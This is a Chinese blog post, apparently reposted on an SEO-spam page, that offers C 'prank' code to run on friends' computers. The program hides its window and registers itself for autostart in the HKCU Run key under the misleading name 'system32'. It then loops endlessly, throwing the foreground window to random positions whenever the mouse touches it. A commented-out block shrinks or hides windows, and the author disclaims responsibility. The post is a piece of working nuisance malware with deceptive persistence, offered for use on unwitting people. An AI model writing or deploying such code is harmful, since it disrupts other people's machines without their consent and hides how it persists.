您现在的位置是:主页 > news > wordpress评论自动刷新/苏州seo排名优化课程
wordpress评论自动刷新/苏州seo排名优化课程
admin2025/6/18 7:30:04【news】
简介wordpress评论自动刷新,苏州seo排名优化课程,万网域名注册网站,素材话不多说,今天给大家介绍两个好东西,就是利用C语言编写的两个恶搞小程序,有多厉害,只有你自己去试试了,反正我是害怕,惹不起。利用C语言API写的两个恶作剧程序,我在这里说,你的朋友同…
话不多说,今天给大家介绍两个好东西,就是利用C语言编写的两个恶搞小程序,有多厉害,只有你自己去试试了,
反正我是害怕,惹不起。
利用C语言+API写的两个恶作剧程序,我在这里说,你的朋友同学试过之后可能就会有某些冲动了。注意安全
直接上代码:(本来想贴上GIF图的,结果转换出来很模糊~大家拿代码自己去试试哦!本程序会开机自启,请先看完视频,了解如何关闭程序再测试)
#include
#include
#include
#include
//C预处理里面学的。
#pragmacomment(linker,"/subsystem:\"windows\"/entry:\"mainCRTStartup\"")
int main()
{
char path[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
char exepath[200]; //拿到程序本身的路径
GetModuleFileName(NULL, exepath, 200);
HKEY hkey; //注册表结构体
RegOpenKey(HKEY_CURRENT_USER, path, &hkey);
RegSetValueEx(hkey, "system32", 0, REG_SZ, (unsigned char*)exepath, sizeof(exepath));
srand((unsigned int)time(NULL));
HWND hwnd; //定义窗口句柄
RECT rect; //矩形 top bottom left right
POINT pt; //点 x y
while (1)
{
hwnd = GetForegroundWindow();
GetWindowRect(hwnd,&rect); //获取窗口的矩形
GetCursorPos(&pt); //获取光标的坐标
//鼠标在窗口的矩形里面
if (pt.x >= rect.left&&pt.x <= rect.right&&
pt.y >= rect.top&&pt.y <= rect.bottom)
{
MoveWindow(hwnd, rand() % (1920 - 480), rand() % (1080 - 460),
480, 460, true);
}
}
return 0;
}
/*****************************
FindWindow();
MoveWindow();
GetForegroundWindow();
******************************/
//printf("1.变羊!!\n");
//printf("2.消失不见!!\n");
//printf("3.幽灵模式\n");
//
//int choise;
//scanf("%d", &choise);
//int width = 480;
//int height = 460;
//switch (choise)
//{
//case1:
// while (width > 0)
// {
// MoveWindow(hwnd, 800, 100, width -= 10, height -= 10, true);
// }
// break;
//case2:
// while (width <480)
// {
// MoveWindow(hwnd, 800, 100, width += 10, height += 10, true);
// }
// break;
//case3:
// MoveWindow(hwnd, 800, 100, 0, 0, true);
// break;
//case4:
// MoveWindow(hwnd, 800, 100, 480, 460, true);
// break;
//}
出事不要找我,我也不会